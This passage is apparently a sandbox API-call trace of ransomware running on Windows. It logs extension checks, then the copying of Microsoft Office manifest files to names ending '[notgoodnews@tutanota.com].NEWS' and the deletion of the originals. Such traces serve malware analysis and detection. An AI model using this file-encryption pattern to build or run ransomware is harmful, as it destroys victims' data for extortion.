104 [0068.596] lstrlenW (lpString=".jpg") returned 4 [0068.596] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.596] lstrlenW (lpString=".doc") returned 4 [0068.596] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString=".docx") returned 5 [0068.596] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0068.596] lstrlenW (lpString=".pdf") returned 4 [0068.596] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString=".xls") returned 4 [0068.596] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString=".xlsx") returned 5 [0068.596] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0068.596] lstrlenW (lpString=".ppt") returned 4 [0068.596] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.596] lstrlenW (lpString=".zip") returned 4 [0068.596] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.596] lstrlenW (lpString=".rar") returned 4 [0068.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.597] lstrlenW (lpString=".bz2") returned 4 [0068.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.597] lstrlenW (lpString=".7z") returned 3 [0068.597] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.597] lstrlenW (lpString=".dbf") returned 4 [0068.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.597] lstrlenW (lpString=".1cd") returned 4 [0068.597] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0068.597] lstrlenW (lpString=".jpg") returned 4 [0068.597] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.597] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.597] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0068.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.597] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1261) returned 1 [0068.597] CloseHandle (hObject=0x374) returned 1 [0068.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0068.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.598] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.598] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0068.598] GetLastError () returned 0x0 [0068.598] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0068.600] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0068.600] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.601] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0068.601] SetEndOfFile (hFile=0x31c) returned 1 [0068.601] CloseHandle (hObject=0x31c) returned 1 [0068.602] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.602] SetEndOfFile (hFile=0x374) returned 1 [0068.603] CloseHandle (hObject=0x374) returned 1 [0068.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0068.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0068.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.603] lstrlenW (lpString=".doc") returned 4 [0068.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.603] lstrlenW (lpString=".docx") returned 5 [0068.603] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0068.603] lstrlenW (lpString=".pdf") returned 4 [0068.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.603] lstrlenW (lpString=".xls") returned 4 [0068.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.603] lstrlenW (lpString=".xlsx") returned 5 [0068.603] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0068.603] lstrlenW (lpString=".ppt") returned 4 [0068.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.604] lstrlenW (lpString=".zip") returned 4 [0068.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.604] lstrlenW (lpString=".rar") returned 4 [0068.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString=".bz2") returned 4 [0068.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString=".7z") returned 3 [0068.604] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.604] lstrlenW (lpString=".dbf") returned 4 [0068.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.604] lstrlenW (lpString=".1cd") returned 4 [0068.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.604] lstrlenW (lpString=".jpg") returned 4 [0068.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.604] lstrlenW (lpString=".doc") returned 4 [0068.604] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString=".docx") returned 5 [0068.604] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0068.604] lstrlenW (lpString=".pdf") returned 4 [0068.604] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString=".xls") returned 4 [0068.604] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString=".xlsx") returned 5 [0068.604] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0068.604] lstrlenW (lpString=".ppt") returned 4 [0068.604] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0068.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.604] lstrlenW (lpString=".zip") returned 4 [0068.604] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0068.605] lstrlenW (lpString=".rar") returned 4 [0068.605] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0068.605] lstrlenW (lpString=".bz2") returned 4 [0068.605] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0068.605] lstrlenW (lpString=".7z") returned 3 [0068.605] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0068.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.605] lstrlenW (lpString=".dbf") returned 4 [0068.605] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0068.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.605] lstrlenW (lpString=".1cd") returned 4 [0068.605] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0068.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0068.605] lstrlenW (lpString=".jpg") returned 4 [0068.605] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0068.605] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0068.605] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0068.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.606] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=496513) returned 1 [0068.606] CloseHandle (hObject=0x374) returned 1 [0068.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0068.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0068.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0068.606] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.607] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0068.607] GetLastError () returned 0x0 [0068.607] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x79381, lpOverlapped=0x0) returned 1 [0068.616] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x79390, lpOverlapped=0x0) returned 1 [0068.626] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.626] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0069.186] SetEndOfFile (hFile=0x31c) returned 1 [0069.186] CloseHandle (hObject=0x31c) returned 1 [0069.197] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.197] SetEndOfFile (hFile=0x374) returned 1 [0069.202] CloseHandle (hObject=0x374) returned 1 [0069.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0069.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0069.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.203] lstrlenW (lpString=".doc") returned 4 [0069.203] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.203] lstrlenW (lpString=".docx") returned 5 [0069.203] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.203] lstrlenW (lpString=".pdf") returned 4 [0069.203] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.203] lstrlenW (lpString=".xls") returned 4 [0069.203] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.203] lstrlenW (lpString=".xlsx") returned 5 [0069.203] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.203] lstrlenW (lpString=".ppt") returned 4 [0069.203] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.203] lstrlenW (lpString=".zip") returned 4 [0069.203] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.203] lstrlenW (lpString=".rar") returned 4 [0069.203] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.203] lstrlenW (lpString=".bz2") returned 4 [0069.203] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.203] lstrlenW (lpString=".7z") returned 3 [0069.203] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.203] lstrlenW (lpString=".dbf") returned 4 [0069.203] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.203] lstrlenW (lpString=".1cd") returned 4 [0069.204] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.204] lstrlenW (lpString=".jpg") returned 4 [0069.204] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.204] lstrlenW (lpString=".doc") returned 4 [0069.204] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString=".docx") returned 5 [0069.204] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.204] lstrlenW (lpString=".pdf") returned 4 [0069.204] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString=".xls") returned 4 [0069.204] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString=".xlsx") returned 5 [0069.204] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.204] lstrlenW (lpString=".ppt") returned 4 [0069.204] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.204] lstrlenW (lpString=".zip") returned 4 [0069.204] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0069.204] lstrlenW (lpString=".rar") returned 4 [0069.204] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString=".bz2") returned 4 [0069.204] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString=".7z") returned 3 [0069.204] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0069.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.204] lstrlenW (lpString=".dbf") returned 4 [0069.204] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.204] lstrlenW (lpString=".1cd") returned 4 [0069.204] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0069.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 104 [0069.204] lstrlenW (lpString=".jpg") returned 4 [0069.205] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0069.205] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0069.205] lstrlenW (lpString="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 53 [0069.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0069.206] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=1261) returned 1 [0069.206] CloseHandle (hObject=0x374) returned 1 [0069.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0069.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0069.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0069.206] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.206] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0069.206] GetLastError () returned 0x0 [0069.206] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0069.208] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0069.209] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0069.209] WriteFile (in: hFile=0x31c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13e, lpOverlapped=0x0) returned 1 [0069.209] SetEndOfFile (hFile=0x31c) returned 1 [0069.209] CloseHandle (hObject=0x31c) returned 1 [0069.210] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.210] SetEndOfFile (hFile=0x374) returned 1 [0069.211] CloseHandle (hObject=0x374) returned 1 [0069.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0069.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 1 [0069.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned 104 [0069.212] lstrlenW (lpString=".doc") returned 4 [0069.212] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString=".docx") returned 5 [0069.212] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0069.212] lstrlenW (lpString=".pdf") returned 4 [0069.212] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString=".xls") returned 4 [0069.212] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0069.212] lstrlenW (lpString=".xlsx") returned 5 [0069.212] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0069.212] 